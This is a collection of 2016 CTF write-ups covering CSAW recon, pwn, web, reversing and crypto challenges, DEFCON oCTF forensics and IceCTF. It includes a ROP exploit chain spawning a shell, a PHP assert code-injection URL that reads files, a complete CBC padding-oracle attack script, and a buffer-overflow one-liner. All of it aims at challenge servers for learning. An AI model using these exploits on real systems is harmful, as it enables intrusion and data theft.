Stage 2: http://fuzyll.com/files/csaw2016/deuteranomalyThis page presents us with a picture of strawberries, looking at the exif data tells us the next stage.
Stage 3:CSAW 2016 FUZYLL RECON PART 2 OF ?: No, strawberries don't look exactly like this, but it's reasonably close. You know what else I can't see well? /csaw2016/<the first defcon finals challenge i ever scored points on
Googling "fuzyll linkedin" will find his linkedin page, which lists which defcons he has competed in.The earliest on the list was defcon 19
To see if I could find which challenges he did, I googled "fuzyll defcon challenges" which brought me to a vm of defcon challenges he compiled:http://fuzyll.com/2016/the-defcon-ctf-vm/
The github page has challenges sorted by year, after trying all the challenge names for defcon 19, I found that 'tomato' was the solution
Stage 4: http://fuzyll.com/files/csaw2016/tomato
This page presents us with the text:ÃâÁæ@òðñö@ÆäéèÓÓ@ÙÅÃÖÕ@×ÁÙã@ó@–†@oz@É@„–•}£@…¥…•@“‰’…@£–”£–…¢Z@Á•¨¦¨k@–¤£¢‰„…@–†@ÃãÆ¢k@É}¥…@‚……•@—“¨‰•‡@@†‰™@”–¤•£@–†@æ–™“„@–†@æ™Ã™†£@–¥…™@£ˆ…@—¢£@¨…™@M•…¥…™@£ˆ–¤‡ˆ£@É}„@‚…@¢¨‰•‡@£ˆ£@†£…™@ビ¨¢”k@‚¤£@ˆ…™…@¦…@™…]K@㈅@•…§£@—™£@‰¢@£@aƒ¢¦òðñöaL”¨@”‰•@æ–æ@ƒˆ™ƒ£…™}¢@•”…nK
I assumed this was some sort of weird encoding, so I looked for encoding detectors online and found the "Universal Cyrillic decoder":looking through all of their possible encodings revealed the solution.
Stage 5:CSAW 2016 FUZYLL RECON PART 3 of ?: I don't even like tomatoes! Anyway, outside of CTFs, I've been playing a fair amount of World of WarCraft over the past year (never thought I'd be saying that after Cataclysm, but here we are). The next part is at /csaw2016/<my main WoW character's name>.
Googling "fuzyll world of warcraft" found this site on his blog:http://fuzyll.com/2015/blackfathom-deep-dish/
I found this guild on the WoW armory, and sorted the roster by rank, the guild master is "elmrik", which is the solution to this stage.
Stage 6:The page gives us some ruby code:~~~~#!/usr/bin/env ruby
CHARS = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "B", "C", "D", "F", "G", "H", "J", "K", "L", "M", "N", "P", "Q", "R", "S", "T", "V", "W", "X", "Y", "Z", "b", "c", "d", "f", "g", "h", "j", "k", "l", "m", "n", "p", "q", "r", "s", "t", "v", "w", "x", "y", "z"]
def encode(string) input = string.bytes.inject {|x, y| (x << 8) + y } output = "" while input > 0 output = CHARS[input % 52].to_s + output input /= 52 end return outputend
def decode(input) # your implementation hereend
message = "JQSX2NBDykrDZ1ZHjb0BJt5RWFkcjHnsXvCQ4LL9H7zhRrvVZgLbm2gnXZq71Yr6T14tXNZwR1Dld2Y7M0nJsjgvhWdnhBll5B8w0VP3DFDjd3ZQBlcV4nkcFXBNzdPCSGMXQnQ7FTwcwbkG6RHX7kFHkpvgGDDGJvSDSTx7J6MFhRmTS2pJxZCtys4yw54RtK7nhyW6tnGmMs1f4pW6HzbCS1rSYNBk3PxzW9R1kJK54R2b7syLXd7x1Mr8GkMsg4bs3SGmj3rddVqDf4mTYq1G3yX1Rk9gJbj919Jw42zDtT2Jzz4gN0ZBmXPsBY9ktCLPdFrCPZ33NKJy5m37PK0GLXBxZz9k0cjzyt8x199jMsq7xrvNNgDNvgTbZ0xjZzHhkmrWrCmD7t4q4rWYFSJd4MZBxvnqc0VgGzdkq8jSJjnwcynq9VfH22WCQSdPKw48NkZL7QKGCT94pSb7ZSl2G6W37vBlW38q0hYDVcXTTDwr0l808nDPF6Ct1fPwKdNGKbRZ3Q3lHKMCYBC3w8l9VRjcHwMb1s5sMXM0xBvF8WnWn7JVZgPcXcwM2mDdfVkZsFzkrvVQmPfVNNdk9L5WtwDD8Wp9SDKLZBXY67QkVgW1HQ7PxnbkRdbnQJ4h7KFM2YnGksPvH4PgW2qcvmWcBz62xDT5R6FXJf49LPCKL8MQJLrxJpQb7jfDw0fTd00dX1KNvZsWmfYSTl1GxPlz1PvPSqMTQ036FxSmGb6k42vrzz2X90610Z"puts decode(message)~~~~
The encode method keeps a running sum of each char, shifting the sum to the left 8 bits before each add.the sum is then looped over, creating a string from the CHARS array
My script to decode it:~~~~def decode(input) index = 0 output = CHARS.index(input[0])
while index < input.length char = input[index] output *= 52 output += CHARS.index(input[index]) index += 1 end
index = 0 final = "" while true final = ((output >> 8 * index) & 0xFF).chr + final output -= (output >> 8 * index) & 0xFF if (output >> (8 *index)) <= 0 return final end index += 1 end return final # your implementation hereend~~~~
This doesn't work completely, but it works well enough to get to the next stage.
Stage 7:On stream, after one of these big upsets in Smash 4, you can see me in the crowd with a shirt displaying my main character! The next part is at /csaw2016/<the winning player's tag>.
I googled "Biggest smash 4 upsets" and found a video, and just tried the tags of all the players in it, the answer is jade
Stage 8: http://fuzyll.com/files/csaw2016/jadeThis page sends you a file called "jade".Running 'file' on it says that it's gzipped, gunzipping it gives you an image.Checking the exif data on the image brings you to the next stage.
Stage 9:CSAW 2016 FUZYLL RECON PART 5 OF 6: I haven't spent the entire year playing video games, though. This past March, I spent time completely away from computers in Peru. This shot is from one of the more memorable stops along my hike to Machu Picchu. To make things easier on you, use only ASCII: /csaw2016/<the name of these ruins>.
google image search says that the image is of Winay Wayna
Stage 10: http://fuzyll.com/files/csaw2016/winaywaynaThis page gives us the flag:CSAW 2016 FUZYLL RECON PART 6 OF 6: Congratulations! Here's your flag{WH4T_4_L0NG_4ND_STR4NG3_TRIP_IT_H45_B33N}. |

This challenge provides an executable and a libc.so file.
Running this file causes a segfault, so lets look at it in IDA:

The file expects us to pass an argument designating the port number to listen on.
running the program with argument 8000 will still have some errors: to get it working fully you have to fix the errors that it lists (making a user named tutorial, making a home directory for the user, etc)
Once this setup is done, we can run the program locally for testing.I could only get the program to run as root (probably not the safest thing to do, but I didn't feel like fixing the permission errors I was getting)
running sudo ./tutorial 8001 in one terminal then nc 127.0.0.1 8001 in another terminal lets us connect to the service:
There are 3 menu options:
1. Manual: this prints some address out, if this is a leak in libc, we can use this address and the given libc to get the address of anything in libc
2. This prompts you to enter your exploit, this is probably where we should look for a vulnerability
3. Quit: quits the program
At this point, I decided to look at the 'menu' function from the binary in IDA:
We can see that func2 is called if '2' is input at the menu, and func1 is called if '1' is input.
Lets see what option 1 does:
Here we can see that the function gets the address of the symbol "puts" in the current process, and prints this address - 1280.
Since we now know the address of puts in memory, we can get around ASLR to find the address of anything in libc:address of thing in process = leaked address + 1280 - offset of puts + offset of thing we're finding in libc
To find offsets of a symbol in libc, you can open the given libc file in ida; its address in ida is its offset.
Now lets look at func2:
This function has a clear buffer overflow: it reads 0x1cc bytes of input into a buffer at [bp - 140h]
The only thing in the way of a buffer overflow exploit is the stack canary:
Looking at the disassembly shows us that the stack canary is found at ebp - 8In order to succesfully exploit the system, we need to find the stack canary's value and include it at the right place in our exploit so that it is not modified by our buffer overflow
Luckily for us, the stack canary is printed by the write() call at the end of the function. (It outputs 0x144 bytes starting at bp - 0x140, the canary is found at bp - 8)
So we can simply enter nothing as input to func 2, read the stack canary from the output, and then call func2 again with our real exploit.
The Exploit:In order to exploit this vulnerability, we will need to use ROP.We can get the address of system() using the leaked memory address and offsets from libc-2.19.so We can also get the address of the string "/bin/sh" found libc-2.19.so.If we can load "/bin/sh" into rdi, then return to system(), we can get a shell on the server.
The easiest way to get "/bin/sh" into rdi is to include its address into our input, then pop it into rdi using a rop gadget. To find gadgets for this exploit, I used radare2:
If we overwrite the return address (rbp + 8) with the address of this gadget, put the address of "/bin/sh" in rbp + 16, and put the address of system into rbp + 24, func2 will return to the gadget, pop"/bin/sh" into rdi, then return into system, executing /bin/sh.
The exploit now looks like this:"A" * (0x140 - 8) + stack canary + [8 bytes of filler] + pop_rdi_ret_gadget + bin_sh + system
Writing up this exploit spawns a shell from the service, but we can't interact with it. This is because system connects the input and output of /bin/sh to file descriptors 0 and 1 respectively, of the parent process. Since we are passing input and output through a different file descriptor (for the socket being used), we can't interact with the shell we launched.
In order to interact with the shell we create, we need to replace file descriptors 0 and 1 with the descriptor for the socket we're communicating through.
To do this, we must call close(0) and close(1) to close the file descriptors for stdin and stdoutWe can then call dup(socket fd) twice to create file descriptors 0 and 1 that use our socket.
We can get the address of close and dup the same way we got the addresses of the other libc functions.
To find the socket being used, I launched the program in gdb, then looked at its open file descriptors in /proc/\<pid\>/fd/To do this, simply set a breakpoint anywhere after the socket is created, and look at its file descriptors.
We can see from /proc/\<pid\>/fd that the socket has file descriptor 4.
Now our exploit looks like this:
(0x140 - 8) bytes of filler + stack_canary + 8 bytes of filler + pop_rdi_ret gadget + 0 + address of close + pop_rdi_ret gadget + 1 + address of close + pop_rdi_ret gadget + socket_fd number + address of dup + address of dup + pop_rdi_ret address + bin_sh address + system address
This will bypass the stack canary, call close(0), call close(1), call dup(4) twice, then call system("/bin/sh")
An example of the final exploit can be found in tutorial.py

And we're done!Flag : FLAG{3ASY_R0P_R0P_P0P_P0P_YUM_YUM_CHUM_CHUM}
|

The challenge contains a link to a website:
Going to the about tab reveals that the site uses PHP and git.
The server has it's git directory public available:
I used https://github.com/evilpacket/DVCS-Pillage to download the git directory contents:
`./gitpillage.sh http web.chal.csaw.io:8000/`
This gives access to the source of index.php:~~~~
<html> <head>
[irrelevant html stuff]...
<div class="container" style="margin-top: 50px"> </div> <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" /> <script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" /> </body></html>~~~~
After trying various ways to sneak '..' into the url, I remembered that assertions are generally not advised to be used in production code (at least in Python and PHP), so I looked up the php docs on assertions. It turns out that the string passed to the assert is evaluated as php code, meaning that we can inject code using the $page parameter.
After a lot of testing I came up with the solution:~~~~http://web.chal.csaw.io:8000?page=', '..') === false and $myfile = fopen("templates/flag.php", "r") and exit(fread($myfile,filesize("templates/flag.php"))) or true or strpos('~~~~
When evaluated by index.php, the first assert becomes:~~~~assert("strpos('templates/', '..') === false and $myfile = fopen("templates/flag.php", "r") and exit(fread($myfile,filesize("templates/flag.php"))) or true or strpos('.php', '..') === false") or die("Detected hacking attempt!");~~~~This gets past the first assert, opens the flag.php file, and exits, printing its contents before the assertion fails.
|
Slight troll, but a valid solution nonetheless: https://twitter.com/KITCTF/status/777628306954944514 Basically we figured out that the tool uses the same algorithm as https://pokeassistant.com/main/ivcalculator and returns the flag if the Pokemon has 1337 CP and hidden atk/def/stam scores of 13/3/7.We tracked down the source of its algorithm: https://www.reddit.com/r/pokemongodev/comments/4t7xb4/exact_cp_formula_from_stats_and_cpm_and_an_upd... Then we extracted the list of Pokemon + base stats that the ivninja tool used and noticed there are some extra Pokemon, one of which (Bininja), has a level/hp combination where 13/3/7 are the only possible hidden IV stats. We needed to do some trickery with the CP level arc in order to make it deduce the correct Pokemon level from the trainer level. |
## CSAW CTF 2016 - hungman (Reversing 125pt)##### 16/09 - 18/09/2016 (48hr)___
### Description: key.exe ### Solution
This was an easy windows revering one. When we run the program we get the message: "?W?h?a?t h?a?p?p?e?n?". A quick search for that string takes us into the following code:```assembly.text:00C21224 call sub_C21620.text:00C21229 mov byte ptr [ebp+var_4], 3.text:00C2122D mov eax, [ebp+Dst].text:00C21233 mov eax, [eax+4].text:00C21236 test [ebp+eax+var_118], 6.text:00C2123E jz short loc_C21265.text:00C21240 mov ecx, ds:?cerr@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A .text:00C21246 mov edx, offset a?w?h?a?tH?a?p? ; "?W?h?a?t h?a?p?p?e?n?".text:00C2124B push offset sub_C22C50.text:00C21250 call sub_C22A00.text:00C21255 mov ecx, eax.text:00C21257 call ds:??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z ; .text:00C2125D push 0FFFFFFFFh ; Code.text:00C2125F call ds:__imp_exit.text:00C21265 loc_C21265:```
function sub_C21620() is invoked, and if the value is not 6 this message is not displayed.Inside this function there's another one:```assembly.text:00C216EE call sub_C22550```
Once we enter inside, we can see this interesting thing:```assembly.text:00C22587 push offset aCUsersCsaw2016 ; "C:\\Users\\CSAW2016\\haha\\flag_dir\\fl"....text:00C2258C call ds:?_Fiopen@std@@YAPAU_iobuf@@PBDHH@Z ; std::_Fiopen(char const *,int,int)```
Ok. It's obvious. Program tries to open that file. If we create it we can see that we don't get the"W?h?a?t h?a?p?p?e?n?" message anymore. But this time we get the message: "=W=r=o=n=g=K=e=y=":```assembly.text:00C21415 mov edx, offset aCongratsYouGot ; "Congrats You got it!".text:00C2141A push offset sub_C22C50.text:00C2141F jmp short loc_C21426.text:00C21421 ; ---------------------------------------------------------------------------.text:00C21421.text:00C21421 WRONG_C21421: ; CODE XREF: sub_C21100+238?j.text:00C21421 mov edx, offset aWRONGKEY ; "=W=r=o=n=g=K=e=y=".text:00C21426```
The critical comparison is here:```assembly.text:00C21323 lea ecx, [ebp+var_54].text:00C21326 call check_flag_4020C0.text:00C2132B mov ecx, ds:?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@[email protected]:00C21331 push offset sub_C22C50.text:00C21336 test eax, eax.text:00C21338 jnz WRONG_C21421```
Function check_flag_4020C0() must return zero. In order to speed up our process, we write some contents in the flag.txt file and we see how they are processed. First the flag length is checked. It must be 0x12 (=18) characters long:```assembly.text:00C220D7 mov ebx, [ebp+arg_C] ; chk first 12 chars.text:00C220DA cmp edi, ebx.text:00C220DC mov edx, ebx.text:00C220DE cmovb edx, edi.text:00C220E1 test edx, edx.text:00C220E3 jz short WRONG_C22141 ; pw must be 0x12```
Then the first 12 characters are compared with those from flag.txt:```assembly.text:00C220F0 LOOP_1_C220F0: ; CODE XREF: check_flag_4020C0+3F?j.text:00C220F0 mov eax, [ecx].text:00C220F2 cmp eax, [esi].text:00C220F4 jnz short NEXT_C22106.text:00C220F6 add ecx, 4.text:00C220F9 add esi, 4.text:00C220FC sub edx, 4.text:00C220FF jnb short LOOP_1_C220F0.text:00C22101.text:00C22101 GO_ON_C22101: ; CODE XREF: check_flag_4020C0+2C?j.text:00C22101 cmp edx, 0FFFFFFFCh.text:00C22104 jz short loc_C2213A```
The comparison is straight forward, so the first part from the flag is: "idg_cni~bjbf". Note that there's some code that "decrypts" this string; we don't care about decryption, as we can read the decrypted one.
Then we continue manually comparing characters one by one:```assembly.text:00C22106 NEXT_C22106: ; CODE XREF: check_flag_4020C0+34?j.text:00C22106 mov al, [ecx].text:00C22108 cmp al, [esi] ; flag[12] == 'i'.text:00C2210A jnz short loc_C22133.text:00C2210C cmp edx, 0FFFFFFFDh.text:00C2210F jz short loc_C2213A.text:00C22111 mov al, [ecx+1].text:00C22114 cmp al, [esi+1].text:00C22117 jnz short loc_C22133.text:00C22119 cmp edx, 0FFFFFFFEh.text:00C2211C jz short loc_C2213A.text:00C2211E mov al, [ecx+2].text:00C22121 cmp al, [esi+2].text:00C22124 jnz short loc_C22133.text:00C22126 cmp edx, 0FFFFFFFFh.text:00C22129 jz short loc_C2213A.text:00C2212B mov al, [ecx+3].text:00C2212E cmp al, [esi+3].text:00C22131 jz short loc_C2213A```
If the flag is **idg_cni~bjbfi|gsxb** then we can pass the checks and get the congratz message.___ |
This problem is a basic CBC padding oracle attack, as described by Vaudenay in EUROCRYPT 2002, famously used against ASP.NET in 2010, and more recently against Steam in 2016. The problem occurs when a system provides a means for any encrypted data to be decrypted, when: The algorithm is a block cipher such as AES That cipher is being used in Cipher Block Chaining (CBC) mode The system indicates whether the decrypted data is correctly or incorrectly paddedBlock ciphers encrypt data in chunks called "blocks". The size of any block is dependent on the algorithm; for instance, AES has a 16-byte block size. Block ciphers can't encrypt or decrypt any data that isn't exactly the block size of the cipher. In order to encrypt and decrypt larger and smaller messages, padding and a block cipher mode are needed. A block cipher mode is a method of dealing with multiple blocks, and padding fills in incomplete blocks in such a way that it can be removed without accidentally removing some plaintext. One of the more common block cipher modes is called CBC mode.In CBC mode, flipping any bit from 1 to 0 or vice versa in any block of ciphertext before decrypting effectively randomizes the decryption of that block. However, it also causes the bit in the same position in the next block to be flipped upon decryption! This is so because the decryption of any block in CBC mode is done in two steps: In the first, the block is decrypted using the block cipher algorithm (in this case, AES) and then XORed with the ciphertext of the previous block. Knowing this, if we are willing and able to sacrifice the meaning of any block, we can reliably flip the bits of the next block. It stands to reason, then, that if we were to change any byte in a block of ciphertext to all of its 256 possible values and then decrypt each version, the corresponding byte in the next block would also be changed to each of its 256 possible values upon decryption. It also stands to reason that if we know the value of the plaintext byte we're changing through modifications to the ciphertext at any point, we can change it to whatever value we want by figuring out which bits to flip from its current value to get the value we want and flipping them in the ciphertext byte being modified. We can also determine the original plaintext byte from the known plaintext byte by applying the same bit flips we made to the ciphertext byte to the known plaintext byte: naturally, this will reverse the changes we made to the byte to get it to our known byte value.So, we know we can make arbitrary changes to bits, and learn the original value for any byte if we can learn its state through modification. How, then, does a padding oracle give us these things? In PKCS#7 padding, the type of padding used in this challenge, the ASCII value of the bytes we add to the end of the data to get a complete block is equal to the number of bytes needed. If we need only one byte, we pad with \x01. If we need 6, we pad with \x06\x06\x06\x06\x06\x06, and so on, up to \x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10 (0x10 = decimal 16), a full block of padding, in the case that we already have a plaintext that splits evenly into blocks. We know, then, that changing the last byte of any message whose length is a multiple of the block size to \x01 results in a correctly padded message under PKCS#7. If we have a padding oracle, we can change the last byte of the last block to every possible byte value using the technique described above and learn which messages have valid padding. If the original value of the byte we're changing is \x01, none of our edited versions should produce a message with valid padding, except in the case that the original message ends with something like \x02\x01 or \x03\x03\x01. We can rule out this case by changing the second to last byte to confirm that the last byte is \x01. Otherwise, there should be exactly one message besides the original (if the original is padded correctly) which is padded correctly. We can then learn the original value of the last byte by calculating \x01 XOR Cn XOR Cn' where Cn is the value of the ciphertext byte we're flipping before our changes and Cn' is the altered version. By cutting and pasting any block from any ciphertext onto the end of the ciphertext we send to the padding oracle, we can learn the last byte of any block.But what about the other bytes? Remember that when we know the value of a byte in any position, we can change it to any other value. Let's say, then, that we've already learned the last byte of a block. We can set the value of the last byte to \x02 and then repeat the same process as before, changing the second to last byte instead of the last, iterating through all possible byte values until the padding is correct. which should only happen once the value of the second to last byte is \x02. This allows us to learn the second to last byte of any block. We then set the last two bytes to \x03\x03 and flip the third to last byte, and so on and so forth until we have learned the original values of the entire block. We can now cut and paste each block of a message onto the end of a ciphertext, and learn its decrypted value as described above.There's only one thing missing: What about the first block of a message? There's no previous block of ciphertext to XOR with! This is where what's known as an IV, or Initialization Vector, is used. In the case that we have control of the IV, we can modify that to change the bytes of the first block. What's really great about this is that changing the IV essentially results in free bit flips, since the IV is never decrypted (it isn't ciphertext, after all) and as such no block randomization occurs. If we know or can guess the IV, we can calculate the original value of the first block. As it turns out, the IV is appended to the front of the ciphertext for the ciphertext we're given as part of the challenge. Using the IV, we can recover the first block. Assuming that the "matrix ID" we're given is the encrypted flag, we set to work writing a solver to decrypt the flag.The Cryptanalib library included with FeatherDuster (https://github.com/nccgroup/featherduster) has functionality for exploiting this type of bug, and there is a FeatherDuster module which builds a basic padding oracle attack script for use in attacking such vulnerable systems as described above. The effort needed above and beyond what FeatherDuster provides is to write a function which interacts with the oracle, providing it ciphertext in the way it prefers and returning True to indicate good padding or False to indicate bad padding. There are a few minor gotchas, namely that without the header Content-Type: application/x-www-form-urlencoded the application will not recognize the POST body correctly and if the Base64 string contains any unencoded plus signs they will be interpreted as spaces and Base64 decoding will fail. The following is a Python script which uses python-requests and Cryptanalib to exploit the padding oracle flaw and return the decrypted data:<p><span># Generated by FeatherDusterimport cryptanalib as caimport requestsimport stringimport sysif len(sys.argv) != 2: print '[*] Padding oracle attack script' print '[*] Usage: %s <span>' % sys.argv[0] exit()def padding_oracle(ciphertext): ciphertext = ciphertext.encode('base64') ciphertext = string.replace(ciphertext,'\n','') ciphertext = string.replace(ciphertext,'+','%2B') ciphertext = string.replace(ciphertext,'=','%3D') headers = {'Content-Type': 'application/x-www-form-urlencoded'} r = requests.post('http://crypto.chal.csaw.io:8001/', data='matrix-id='+ciphertext, headers=headers) if r.content.find('Caught exception during AES') != -1: return False else: return Trueca.padding_oracle_decrypt(padding_oracle=padding_oracle, ciphertext=sys.argv[1].decode('hex'), block_size=16, padding_type='pkcs7', iv='00000000000000000000000000000000'.decode('hex'), verbose=True, hollywood=True)</p>Upon decryption with the padding oracle, the flag (flag{what_if_i_told_you_you_solved_the_challenge}) is returned. You can speed this up very slightly by setting hollywood=False to disable the hollywood hacker movie style output, but what fun is that? :) </span></span> |
# DEFCON oCTF 2016 - Progressive Encryption
**Category:** Forensics**Points:** 500**Author:** Yen**Description:**
We recovered this file from an old military public-relations server.I'm pretty sure it contains valuable intel, but the high-resolution details have been obfuscated somehow.[172.31.0.10/Kathryn_Janeway_Lace_the_Final_Brassiere-59519ec3350e728b1bd8d360c504d369](Kathryn_Janeway_Lace_the_Final_Brassiere-59519ec3350e728b1bd8d360c504d369.png)
## Shortcut Write-up
I used GraphBitStreamer (<https://github.com/old-games/GBS>) to map the entire PNG file as raw image data. *(worth noting it only worked because the PNG data stream was uncompressed)*
Parameters:
* 32 bits per pixel (one can easily see 4-byte repetitive patterns spreading thoughout the file)* True Color palette (since 32 bpp)* width: 500 px (same as original picture)
Result:

Due to weak encryption silimar to why [encrypted Tux on the Wikipedia page](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_Codebook_.28ECB.29) is clearly recognizable, we can somewhat figure out the flag written at the bottom.
To make things easier, we can stretch it:

and convert to grayscale:

And the flag can be eyeballed now: `c4n_I_hav3_S0me_money_nao?`
## Intended Way
Inside the PNG we see two chunks: `IDAT` containing the first coarse scan of progressive PNG (hence the name, Progressive Encryption), and `scRT`. Using [xortool](https://github.com/hellman/xortool) on `scRT` chunk contents we can guess that it's encrypted with multibyte XOR cipher with key `nacho` (expected most frequent char `\xFF`). The decrypted contents have a regular `IDAT` chunk, and a new `scRT` appended to it.
Guessing multibyte XOR key over and over for each `scRT` chunk, we decrypt the whole PNG. Keys are:
* `nacho`* `savages`* `president`* `kilobits`* `monkey`* `butler`
Resulting reconstructed image:

# Other write-ups and resources
* https://github.com/ctfs/write-ups-2016/tree/master/open-ctf-2016/forensics/progressive-encryption-500 |
# IceCTF Solutions
This page contains some of the challenges I solved during IceCTF '16.
## Reconnaissance & Forensics### Complacement (40 p)
```These silly bankers have gotten pretty complacent with their self signed SSL certificate. I wonder if there's anything in there. [complacent.vuln.icec.tf]```

### Time Traveler (45 p)
```I can assure you that the flag was on this website (http://time-traveler.icec.tf) at some point in time. ```
Let us try the Wayback Machine!

### Audio problems (45 p)```We intercepted this audio signal, it sounds like there could be something hidden in it. Can you take a look and see if you can find anything? ```
In Audacity, we can get the spectrum:

Feels like I've solved this very same problem a couple of times now... get creative problem makers!
##Web### Toke (45 p)
I have a feeling they were pretty high when they made this [website](http://toke.vuln.icec.tf)...
We create an account and look at the tokens. There is a `jwt_token`, containing
```eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnIjoiSWNlQ1RGe2pXN190MEszbnNfNFJlX25PX3AxNENFX2ZPUl81M0NyRTdTfSIsInVzZXIiOiIxMjM0YWEifQ.tfe4bqNnoRb2OOd7KV88qov5Y6oe55Cs2knKLo28Z7s```
Let us decode it! Among other things, we get ```IceCTF{jW7_t0K3ns_4Re_nO_p14CE_fOR_53CrE7S}```### Kitty (80 p)
```They managed to secure their website this time and moved the hashing to the server :(.We managed to leak this hash of the admin's password though!
c7e83c01ed3ef54812673569b2d79c4e1f6554ffeb27706e98c067de9ab12d1a.
Can you get the flag? [kitty.vuln.icec.tf]```
OK, trying the most simple and obvious... reversing the hash works! The password is `Vo83*`. If we login as `admin` with the password we found, we see:
```Your flag is: IceCTF{i_guess_hashing_isnt_everything_in_this_world}```##Pwn### Demo (55 p)
```I found this awesome premium shell, but my demo version just ran out... can you help me crack it? /home/demo/ on the shell. ```
This is probably not the intended solution. Trying to execute `_=icesh && ./demo` does not work in `zsh`, but it does in `sh`. This requires no spoofing for `argv[0]`, and thus no execve code. Less work!
```[ctf-67751@icectf-shell-2016 /home/demo]$ sh$ _=icesh && ./demo$ cat flag.txtIceCTF{wH0_WoU1d_3vr_7Ru5t_4rgV}```
### Smashing Profit! (60 p)
```Do you think you can make this program jump to somewhere it isn't supposed to? Where we're going we don't need buffers!
/home/profit/ on the shell. ```
OK, let us go to the shell. Not surprisingly, `profit` suffers from a buffer overflow. Loading the binary into Hopper, we see that there is a subroutine @ `0x804850b` which would be suitable to call:

Here is how to exploit the buffer overflow to call the above function:
```[ctf-67751@icectf-shell-2016 /home/profit]$ python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' | ./profitSmashing the stack for fun and...?IceCTF{who_would_have_thunk?}[1] 25262 done python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' | 25263 segmentation fault ./profit```
### Quine I/II (90p / 125p)
This was a really entertaining challenge. The first idea was based on a false assumption, i.e., that the outputted code in the final iteration was not checked. Let us sketch the idea anyways. If we are able to store some data outside the code, we are able to count the iterations without altering the code. The stored data could be in an environment variable (but that turned out to be infeasible) or a file (we could create, read and write files in the sandbox where the code was running).
So, in pseudo code:
```pythonif 'some_file' exists: c = read('some_file') c += 1 if c < 19: print flag with system() call write('some_file', c)else: create('some_file') write('some_file', 0)```We noticed that the code is located in `./sandbox/[random token]-[time]`, so maybe the flag is `../../flag.txt`. This is of course a guess (which turns out to be correct). Encoding the above pseudo code as a quine, we get something like
```cconst char d[]={125,59,10,35,105,110,99,108,117,100,101,32,60,115,116,100,105,111,46,104,62,10,105,110,116,32,109,97,105,110,40,41,123,70,73,76,69,32,42,102,59,102,61,102,111,112,101,110,40,34,103,34,44,34,114,98,43,34,41,59,105,102,40,102,61,61,78,85,76,76,41,102,61,102,111,112,101,110,40,34,103,34,44,34,119,98,34,41,59,99,104,97,114,32,98,61,102,103,101,116,99,40,102,41,59,102,99,108,111,115,101,40,102,41,59,102,61,102,111,112,101,110,40,34,103,34,44,34,119,43,34,41,59,105,102,40,98,60,49,57,41,123,98,43,43,59,102,112,117,116,99,40,98,44,102,41,59,125,101,108,115,101,123,102,61,102,111,112,101,110,40,34,102,108,97,103,34,44,34,114,34,41,59,98,61,102,103,101,116,99,40,102,41,59,119,104,105,108,101,40,98,33,61,69,79,70,41,123,112,114,105,110,116,102,40,34,37,99,34,44,98,41,59,98,61,102,103,101,116,99,40,102,41,59,125,125,102,99,108,111,115,101,40,102,41,59,112,114,105,110,116,102,40,34,99,111,110,115,116,32,99,104,97,114,32,100,91,93,61,123,34,41,59,105,110,116,32,105,59,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,123,112,114,105,110,116,102,40,34,37,100,44,34,44,100,91,105,93,41,59,125,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,112,117,116,99,104,97,114,40,100,91,105,93,41,59,114,101,116,117,114,110,32,48,59,125,10,};#include <stdio.h>int main(){FILE *f;f=fopen("g","rb+");if(f==NULL)f=fopen("g","wb");char b=fgetc(f);fclose(f);f=fopen("g","w+");if(b<19){b++;fputc(b,f);}else{f=fopen("flag","r");b=fgetc(f);while(b!=EOF){printf("%c",b);b=fgetc(f);}}fclose(f);printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);return 0;}```
Obviously, this did not work. New strategy needed! If we can guess a char of the flag and write the guess to the submitted code, then read the corresponding char from `../../flag.txt` it will accept if and only if they match. So, where do we put our guess? We could put it in a string, but a simpler solution is to write it to a comment. We know that the flag begins with `IceCTF{`, so we can try out our hypothesis and be sure that it is correct. The following code can generate a quine for a certain guess:
```pythonimport sysguess = 'I' # the first char of the flaglength = 1data = '''};#include <stdio.h>int main(){printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);FILE *f;f=fopen("../../flag.txt","r");printf("//");for(i=0;i<'''+str(length)+''';i++){char b=fgetc(f);printf("%c",b);};return 0;}'''quine = 'const char d[]={'+''.join(str(ord(c))+',' for c in data) + data.strip('\n')+'//'+guess```
We call it with
```$ python quine_gen.py 1 | cat quine.c | nc quine.vuln.icec.tf 5500...//I```
Now this is where things get interesting! The code obviously works for `I`, but even for incorrect guesses. Also, it prints as many chars of the flag as we like! Seemingly, the server check actually ignores comments, i.e., chars after `//`. So, by setting the read length (`length = sys.argv[1]`) sufficiently large, we can submit auto-generated code as follows:
```$ python quine_gen.py 32 | cat quine.c | nc quine.vuln.icec.tf 5500...//IceCTF{the_flags_of_our_quines}
$ python quine_gen.py 55 | cat quine.c | nc quine.vuln.icec.tf 5501...//IceCTF{my_f1x3d_p0inT_br1nGs_alL_th3_n00bs_t0_th3_y4rD}```
Great! Two challenges solved with two almost identical quines :-D
##Crypto### RSA? (50 p)
```John was messing with RSA again... he encrypted our flag! I have a strong feeling he had no idea what he was doing however, can you get the flag for us? flag.txt```
OK, let us see that `flag.txt` contains
```$ cat flag.txt
